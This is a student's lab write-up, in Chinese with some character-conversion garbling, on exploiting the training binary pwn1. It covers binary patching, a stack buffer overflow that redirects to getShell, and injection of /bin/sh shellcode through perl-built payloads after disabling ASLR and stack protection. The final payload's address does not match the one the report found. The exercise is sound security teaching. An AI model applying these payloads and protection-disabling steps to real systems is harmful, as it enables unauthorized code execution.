Exp1 PC平臺逆向破解 Week3 - 20165201

#Exp1 PC平臺逆向破解 Week3 - 20165201

（因爲圖片比較大，看的時候須要關閉側邊欄~）
##實踐目標

• 本次實踐的對象是一個名爲pwn1的linux可執行文件。
• 該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
• 該程序同時包含另外一個代碼片斷，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode

##實踐內容

• 手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數。
• 利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數。
• 注入一個本身製做的shellcode並運行這段shellcode。

這幾種思路，基本表明現實狀況中的攻擊目標：

• 運行本來不可訪問的代碼片斷
• 強行修改程序執行流
• 注入運行任意代碼

##基礎知識
（EIP、ESP寄存器的相關知識寫在了博客最後面）

• 熟悉Linux基本操做
• 能看懂經常使用指令,如管道（|），輸入、輸出重定向（>）等
• 理解Bof的原理
• 能看得懂彙編、機器指令、EIP、指令地址
• 會使用gdb,vi

##實驗步驟及具體操做
###一、直接修改程序機器指令，改變程序執行流程

• 知識要求：Call指令，EIP寄存器,指令跳轉的偏移計算，補碼，反彙編指令objdump，十六進制編輯工具

• 學習目標：理解可執行文件與機器指令

• 進階：掌握ELF文件格式，掌握動態技術

(1)首先將pwn1用cp拷貝到做業目錄，而後用mv進行重命名

(2)輸入objdump -d 20165201pwn1進行反彙編

• 先看第12行，call 8048491是彙編指令

  • 是說這條指令將調用位於地址8048491處的foo函數；
  • 其對應機器指令爲e8 d7ffffff，e8即跳轉之意
  • 原本正常流程，此時此刻EIP的值應該是下條指令的地址，即80484ba，但如一解釋e8這條指令呢，CPU就會轉而執行 EIP + d7ffffff這個位置的指令。d7ffffff是補碼,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值，

• main函數調用foo，對應機器指令爲e8 d7ffffff，

  • 那咱們想讓它調用getShell，只要修改d7ffffff爲，getShell-80484ba對應的補碼就行。
  • 用Windows計算器，直接 47d-4ba就能獲得補碼，是c3ffffff

(3)vim 20165201pwn1

(4)先按esc，以後輸入:%!xxd，以顯示16進制內容

(5)輸入/e8 d7快速找到咱們想要的地方，注意必定要加空格！

(6)按i進入插入模式，修改d7爲c3

(7):%!xxd -r將16進制內容轉換爲原來的格式；

(8):wq保存並退出

(9)./20165201pwn1，但此時提示權限不夠

須要用chmod +x 20165201pwn1來附加權限
這時再次輸入./20165201pwn1，就能夠正常調用getshell了~

###二、經過構造輸入參數，形成BOF攻擊，改變程序執行流

• 知識要求：堆棧結構，返回地址
• 學習目標：理解攻擊緩衝區的結果，掌握返回地址的獲取
• 進階：掌握ELF文件格式，掌握動態技術

(1)首先拷貝一份pwn1，而後用mv進行重命名

(2)輸入objdump -d 20165201pwn2進行反彙編

• 咱們的目標是觸發getshell函數
• 該可執行文件正常運行是調用函數foo，這個函數有Buffer overflow漏洞
• 這裏讀入字符串，但系統只預留了 32 字節的緩衝區，超出部分會形成溢出，咱們的目標是覆蓋返回地址
• call調用了foo,同時在堆棧上壓上返回地址值:80484ae

(3)確認輸入字符串哪幾個字符會覆蓋到返回地址

若是輸入字符串1111111122222222333333334444444412345678，那 1234 那四個數最終會覆蓋到堆棧上的返回地址，進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址，輸給20165201pwn2，20165201pwn2就會運行getShell

(4)確認用什麼值來覆蓋返回地址
getShell的內存地址，經過反彙編時能夠看到，即0804847d

接下來要確認下字節序，簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d
仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08

對比以前 eip 0x34333231 0x34333231 ，正確應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08

(5)構造輸入字符串

由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值，因此先生成包括這樣字符串的一個文件。\x0a表示回車，若是沒有的話，在程序運行時就須要手工按一下回車鍵

關於Perl： Perl是一門解釋型語言，不須要預編譯，能夠在命令行上直接使用。 使用輸出重定向「>」將perl生成的字符串存儲到文件input中

可使用16進制查看指令xxd查看input文件的內容是否如預期

而後將input的輸入，經過管道符「|」，做爲20165201pwn2的輸入

成功！！！

###三、注入Shellcode並執行

(1)準備一段Shellcode

• shellcode就是一段機器指令（code）
• 一般這段機器指令的目的是爲獲取一個交互式的shell（像linux的shell或相似windows下的cmd.exe），
• 因此這段機器指令被稱爲shellcode。
• 在實際的應用中，凡是用來注入的機器指令段都通稱爲shellcode，像添加一個用戶、運行一條指令。

最基本的shellcode的編寫可參考學姐的文章Shellcode入門，寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\ 關於更多Shellcode的知識，請參考Shellcode基礎(不過頁面好像掛了......）

(2)準備工做
要注意的是，咱們的實驗目前是在很是簡單的一個預設條件下完成的：

• 關閉堆棧保護（gcc -fno-stack-protector）
• 關閉堆棧執行保護(execstack -s)
• 關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
• x32環境下
• Linux實踐環境

須要咱們修改設置以下：

apt-get install execstack //安裝execstack命令  
execstack -s pwn1 //設置堆棧可執行  
execstack -q pwn1 //查詢文件的堆棧是否可執行  
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化   
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化  
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

(3)構造要注入的payload

• Linux下有兩種基本構造攻擊buf的方法：

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

• 由於retaddr在緩衝區的位置是固定的，shellcode要不在它前面，要不在它後面，簡單說緩衝區小就把shellcode放後邊，緩衝區大就把shellcode放前邊

• 咱們這個buf夠放這個shellcode了，結構爲：nops+shellcode+retaddr

  • nop一爲是了填充，二是做爲「着陸區/滑行區」。
  • 咱們猜的返回地址只要落在任何一個nop上，天然會滑到咱們的shellcode

輸入perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中32個A是爲了填充緩衝區，而\x04\x03\x02\x01是預留的返回地址retaddr

接下來咱們來肯定\x4\x3\x2\x1到底該填什麼

打開一個終端注入這段攻擊buf:(cat input_shellcode;cat) | ./20165201pwn2

打開一個終端輸入ps -ef | grep 20165201pwn2來查找進程號，能夠看到第一行，進程號即爲7613

打開另外一個終端，用gdb調試，輸入指令attach 7613

(4)經過設置斷點，來查看注入buf的內存地址
用disassemble foo命令反彙編，查看foo函數

用break *0x080484ae命令設置斷點，在以前的終端中按下回車，這就是前面爲何不能以\x0a（換行符）來結束 input_shellcode的緣由，輸入c命令繼續運行
用info r esp命令查找地址，這裏能夠看到堆棧指針esp爲0xffffd2ec

咱們輸入x/16x 0xffffd2ec查看其存放內容，看到0x01020304了，就是返回地址的位置。shellcode就挨着，因此shellcode的起始地址是0xffffd2f0（加4字節）

那麼思路很清晰了，接下來將以前的\x4\x3\x2\x1改成這個地址便可，輸入命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
圖中的紅框就是咱們剛剛找到的shellcode起始地址
注入成功！！！

##錯誤記錄和遇到的問題
###一、權限不夠，調試失敗

   解決辦法：輸入chmod +x 20165201pwn2附加權限

###二、輸入ps -ef | grep 20165201pwn2時，缺乏./20165201pwn2進程

解決辦法：在這一步運行的時候，沒用gdb調試以前千萬別輸入回車鍵！！！只輸入(cat input_shellcode;cat) | ./20165201pwn2，以後gdb調試。不然就執行完了！！！

###三、ESP寄存器
ESP專門用做堆棧指針，被形象地稱爲棧頂指針，存放當前線程的棧頂指針，堆棧的頂部是地址小的區域，壓入堆棧的數據越多，ESP也就愈來愈小。在32位平臺上，ESP每次減小4字節

###四、EIP寄存器
EIP寄存器存放下一個CPU指令存放的內存地址，當CPU執行完當前的指令後，從EIP寄存器中讀取下一條指令的內存地址，而後繼續執行

##參考資料 (1)逆向及Bof基礎實踐說明
(2)Shellcode入門